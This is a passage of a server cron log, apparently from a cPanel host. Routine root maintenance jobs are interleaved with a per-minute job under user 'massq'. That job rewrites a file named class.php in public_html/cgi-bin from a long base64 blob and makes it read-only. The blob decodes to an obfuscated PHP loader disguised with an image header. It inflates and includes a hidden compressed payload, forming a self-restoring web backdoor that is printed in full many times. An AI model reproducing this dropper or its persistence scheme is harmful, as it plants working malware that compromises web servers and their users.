dJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:17:01 server CROND[28735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:18:01 server CROND[29156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:18:01 server CROND[29157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:18:01 server CROND[29160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:19:01 server CROND[29533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:19:01 server CROND[29532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:19:01 server CROND[29534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:20:01 server CROND[30073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:20:01 server CROND[30075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:20:01 server CROND[30077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:20:01 server CROND[30082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:20:01 server CROND[30081]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:20:01 server CROND[30079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:20:01 server CROND[30084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:20:01 server CROND[30083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:20:01 server CROND[30086]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:21:01 server CROND[30929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:21:01 server CROND[30930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:21:01 server CROND[30931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:22:01 server CROND[31301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:22:01 server CROND[31302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:22:01 server CROND[31303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:23:01 server CROND[31674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:23:01 server CROND[31675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:23:01 server CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:24:01 server CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:24:01 server CROND[32046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:24:01 server CROND[32047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:25:01 server CROND[32430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:25:01 server CROND[32432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:25:01 server CROND[32434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:25:01 server CROND[32433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:25:01 server CROND[32436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:25:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:25:01 server CROND[32437]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 02:25:01 server CROND[32438]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:26:01 server CROND[946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:26:01 server CROND[945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:26:01 server CROND[944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:27:01 server CROND[1441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:27:01 server CROND[1442]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:27:01 server CROND[1443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:27:01 server CROND[1444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:28:01 server CROND[1807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:28:01 server CROND[1808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:28:01 server CROND[1809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:29:01 server CROND[2813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:29:01 server CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:29:01 server CROND[2815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
